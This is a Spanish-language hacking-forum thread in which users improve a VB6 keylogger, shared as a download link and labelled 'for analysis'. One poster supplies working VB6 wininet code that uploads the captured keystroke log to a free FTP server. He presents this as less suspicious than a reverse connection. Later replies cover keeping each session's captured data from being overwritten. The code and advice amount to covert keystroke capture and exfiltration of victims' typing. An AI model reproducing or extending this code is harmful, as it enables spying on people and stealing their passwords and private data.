elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  keylogger en vb6 para analisis
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: keylogger en vb6 para analisis  (Leído 4,452 veces)
lararich

Desconectado Desconectado

Mensajes: 21


Ver Perfil
keylogger en vb6 para analisis
« en: 29 Septiembre 2014, 19:30 pm »

Tengan Todos un Estupendo Día

he aquí que voy directamente al grano

hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código
keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa:

http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.html

sin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar.

1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los
datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " "
lo cual no me pareció para nada, y lo corregí.

2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo lo que hice al respecto fue hacer que efectivamente grabara la fecha del evento al momento de iniciar sesión únicamente y no en cada captura de texto como lo había manejado el autor original.

3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra.

lo que quiero decir es que el código no es de mi creación pero presento las mejoras y
el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea.

sin mas regadera, tenéis a continuación el nuevo código mejorado:


http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip







« Última modificación: 29 Septiembre 2014, 21:08 pm por lararich » En línea

XresH


Desconectado Desconectado

Mensajes: 384



Ver Perfil WWW
Re: keylogger en vb6 para analisis
« Respuesta #1 en: 29 Septiembre 2014, 19:48 pm »

Tengan Todos un Estupendo Día

he aquí que voy directamente al grano

hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código
keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa:

http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.html

sin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar.

1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los
datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " "
lo cual no me pareció para nada, y lo corregi.


2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo quite eso.

3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra.

lo que quiero decir es que el código no es de mi creación pero presento las mejoras y
el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea.

sin mas regadera, tenéis a continuación el nuevo código mejorado:

http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip

El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.

PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.

Saludos.


En línea

[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<
lararich

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: keylogger en vb6 para analisis
« Respuesta #2 en: 29 Septiembre 2014, 21:18 pm »

El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.

PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.

Saludos.


si le puedes generar código mas lógico del que ya tiene es bienvenido tu aporte, de hecho es la base fundamental de abrir este hilo, con lo del ftp poco entendi talvez porque nunca
he experimentado un keylogger destinado a almacenar en ftp de repente y tiene un gran sentido, si se destina a guardar en ftp mejor que borre y si se quiere almacenar en pc local que no borre porque talvez no todos los dias quicieramos chekear y chekear que hay pescado.

XresH presenta tu punto de vista y veremos, piensa en que si se apaga el pc donde reside el keylogger asaber si dara tiempo de realizar el envio programado al cerrar sesion a menos que reinicie en un tiempo determinado por alguno de los timer de visual basic que lo asisten, lo que no termino que recabar es el hecho de como se almacena en ftp la llegada de una y luego otra informacion nueva, no me lo imagino al pensar si tengo un fichero keylogger.txt generado del keylogger y para actualizarlo no se si borrará el actual fichero o solo añadirá la entrada nueva anexando los datos antiguos con los nuevos. nunca tuve ftp para algo asi por eso lo del enredo. disculpa

saludos
« Última modificación: 29 Septiembre 2014, 21:49 pm por lararich » En línea

XresH


Desconectado Desconectado

Mensajes: 384



Ver Perfil WWW
Re: keylogger en vb6 para analisis
« Respuesta #3 en: 30 Septiembre 2014, 03:49 am »

Si jamas viste lo de guardarlo en Ftp al finalizar sesion, voy a armar un codigo  y luego lo resubo a mediafire, asi ves como funciona, a su vez voy a colocar en el foro el metodo que utilize para realizar una conexion al Host gratuito que utilizamos como Ftp y asi poder alojar nuestro archivo sin necesidad de crear una conexion a determinado ordenador, que es mas sospechoso, ya que si intentaramos establecer una conexion hacia otra PC en concreto para luego transferir el archivo estariamos usando la misma base que en un troyano de conexion inversa.

Esta noche analizo el codigo y veo posibles mejoras, te comento que intentare continuar lo que programaste manteniendo el codigo original que expusiste y realizar un code mejorado adaptado a lo que estas programando, ya que por lo que he visto programamos distinto.

Saludos.
En línea

[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<
XresH


Desconectado Desconectado

Mensajes: 384



Ver Perfil WWW
Re: keylogger en vb6 para analisis
« Respuesta #4 en: 1 Octubre 2014, 17:44 pm »

Bueno te voy a exponer el codigo para realizar lo que te dije a traves de una conexion hacia un Ftp gratuito, el codigo lo extrai de un viejo sistema que tenia por ahi guardado, el codigo original no fue escrito por mi, es decir, lo tome de esta pagina:

Código:
http://www.bigresource.com/

No tengo con exactitud el link porque fue hace mucho, pero tengo seguridad que fue de esa web (por cierto, te la recomiendo)

El code original lo rearme para ser usado en mi aplicacion, pero ahora hice un codigo nuevo para mostrarte un ejemplo y lo puedas aplicar vos a un proyecto de prueba donde deberas modificarlo para que "encaje" en tu programa.

En el form tengo dos frames, uno con controles para conectar y otro para subir el archivo, esto reitero que es un ejemplo, nada va a ser visible (para el keylogger), tambien tene en cuenta que no es 100 % precisa, pero es una forma de base para que te guies, podrias hacer que al finalizar cada sesion se intente enviar los datos al Ftp, si hay exito reiniciar la db, sino resguardar.

primer frame tiene 3 textbox, y 1 boton de comando:


Código
  1. Private Sub cmdConectar_Click()
  2. With DatosConexion
  3.     .User = txtUser.Text
  4.     .Pass = txtPass.Text
  5.     .NameFTP = txtNombreFTP.Text
  6.     If IniConex(.User, .Pass, .NameFTP) = True Then
  7.        MsgBox "conecto xD"
  8.     Else
  9.        MsgBox "revise los datos de conexion, no se pudo conectar", vbOKOnly + vbCritical, "Atencion: Error"
  10.     End If
  11. End With
  12. End Sub

El segundo frame tiene 2 cajas de text y otro boton de comando:

Código
  1. Private Sub cmdSubir_Click()
  2. On Error GoTo errsub
  3. ArchivoSub txtOrigen.Text, txtDestinoFTP
  4. Exit Sub
  5. errsub:
  6. If Err.Number = 32755 Then Exit Sub
  7. End Sub
  8.  

Las funciones (y demas) las tengo en un modulo:

Código
  1. Option Explicit
  2. Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect&, ByVal lpszLocalFile$, ByVal lpszNewRemoteFile$, ByVal dwFlags&, ByVal dwContext&) As Boolean
  3. Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession&, ByVal sServerName$, ByVal nServerPort%, ByVal sUserName$, ByVal sPassword$, ByVal lService&, ByVal lFlags&, ByVal lContext&) As Long
  4. Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent$, ByVal lAccessType&, ByVal sProxyName$, ByVal sProxyBypass$, ByVal lFlags&) As Long
  5. Type ConnData
  6.    User As String
  7.    Pass As String
  8.    NameFTP As String ' ejemplo "ftp.microsoft.com"
  9. End Type
  10. Public Function IniConex(Usuario$, Password$, NombreServer$) As Boolean
  11. IniConex = False
  12. TestConexion = InternetOpen(vbNullString, 0, vbNullString, vbNullString, 0)
  13. If TestConexion = 0 Then
  14.   MsgBox "No hay conexion a internet", vbOKOnly + vbCritical, "Atencion: Error"
  15.   Exit Function
  16. Else
  17.   IniConex = True
  18.   reConFtp = InternetConnect(TestConexion, NombreServer, 21, Usuario, Password, 1, IIf(True, &H8000000, 0), 0)
  19.   If reConFtp Then
  20.   Else
  21.   MsgBox "datos erroneos, verifique pass, user y nombre de ftp", vbOKOnly + vbCritical, "Error"
  22.   IniConex = False
  23.   End If
  24. End If
  25. End Function
  26. Public Sub ArchivoSub(unaRutaArchivo$, ArchivoRemm$)
  27. Dim UpFtp As Boolean
  28. UpFtp = FtpPutFile(reConFtp, unaRutaArchivo, ArchivoRemm, 1, 0)
  29. If UpFtp Then
  30.   MsgBox "archivo subido correctamente", vbOKOnly + vbInformation, "Finalizado"
  31. Else
  32.   MsgBox "error al subir", vbOKOnly + vbCritical, "Atencion: Error"
  33. End If
  34. End Sub

En otro modulo variables:

Código
  1. Option Explicit
  2. Public TestConexion&
  3. Public reConFtp&
  4. Public DatosConexion As ConnData

Si quieren el codigo fuente lo subi a mediafire:

Código:
https://www.mediafire.com/?u84zjhl8yb3d5b5

El codigo comprueba que haya internet para realizar seguidamente la conexion al Ftp establecido.

En el fuente esta un ejemplo con una cuenta que hice en un servidor gratuito, esta el user y pass colocados.

Cualquier duda con el codigo no dudes en consultar, si queres comentarios en la fuente lo hago pero es basico no lo veo necesario.

PD: es un code simple y con fallas, tampoco lo probe a fondo pero subir archivos los sube.

Saludos.
En línea

[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<
lararich

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: keylogger en vb6 para analisis
« Respuesta #5 en: 1 Octubre 2014, 19:15 pm »

XresH recibe un saludo

probe tu tool ftp, funciona estupensamente bien te Felicito esta chula, coloque alli texto.txt en tu ftp

sin embargo sigo confundido veras porque:

en cada subida que algo del mismo archivo esto es texto.txt lo que hace es guardar el
estado de la ultima subida del fichero texto.txt, ejemplo:

si dentro de texto.txt dice "esto es la primnera prueba" y lo envio pues asi queda obviamente.

pero XresH

si en la segunda subida el mismo fichero texto.txt ya dice "esto es la segunda prueba"
y lo envio la p`rimera informacion la estoy perdiendo.

entonces

este era el punto de critica constructiva en el post si el keylogger debería borrar los datos anteriores para establecer solo los registros de la ultima sesion, es poresto que yo hice que mi keylogger no borrara lo que ya contenia el Texto.txt que el genera.

quisiera supieras exactamente como es que intento explicar

tu dices debe borrar y mandar solo los datos de la ultima sesion para no saturar el registro, pero imagina si tardas una semana en revisar los registros cuantos pudo
haber borrado en cada sesion que inicie, recordemos hay muchas pc que no estan dia y noche corrido encendidas.

una vez mas recibe un saludo, y si estoy muy equivocado disculpa y considera jamas
utilice un ftp en relacion a keylogger pero me interesa mucho saber que procedimiento es mejor a todos nos interesa literalmente.
En línea

XresH


Desconectado Desconectado

Mensajes: 384



Ver Perfil WWW
Re: keylogger en vb6 para analisis
« Respuesta #6 en: 1 Octubre 2014, 20:57 pm »

De eso se trata tu hilo, de analizar lo que se plantea, es un detalle que olvide, es cierto lo que decis, de todas maneras se puede realizar para obtener los archivos y definir si el mismo se esta duplicando, o bien, podrias guardar un nombre consecutivo:

Código:
Sesion 1: sesion1.txt
Sesion 2: sesion2.txt
Sesion 3: sesion3.txt
Sesion 4: sesion4.txt

Se entiende? de esa forma tendrias en orden cada sesion, si vos queres que sea en un mismo archivo, es cuestion de modificar algunas cosas y añadir otras.

Yo no digo de borrar o enviar, esto fue a modo de ejemplo, a lo que voy es que al enviar PUT al servidor como parametro sobreescribe si el mismo es existente.

Podes enterarte buscando un poco en google sobre los comandos Ftp desde Visual 6.

Podriamos usar tambien Send como parametro.
Ahi tienes una tarea, poder realizar a tu gusto si son archivos consecutivos como te dije o de actualizacion del mismo, no es dificil, cualquier duda intentare ayudarte.

PD: Podriamos intentar hacerlo de las dos formas para que practiques un poco.(so las que se me ocurrieron de momento, podria haber alguna otra)

Saludos.
En línea

[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Analisis para programas en VS2008 « 1 2 »
Ingeniería Inversa
Carloswaldo 12 6,056 Último mensaje 7 Febrero 2008, 21:07 pm
por Carloswaldo
Flame se autodestruye para evitar su análisis
Noticias
wolfbcn 6 3,178 Último mensaje 11 Junio 2012, 04:16 am
por Graphixx
DiFT, un Ubuntu preparado para el análisis forense
Noticias
wolfbcn 0 1,756 Último mensaje 11 Mayo 2014, 13:21 pm
por wolfbcn
Análisis de DOOM para PC
Noticias
wolfbcn 0 1,720 Último mensaje 16 Mayo 2016, 02:58 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines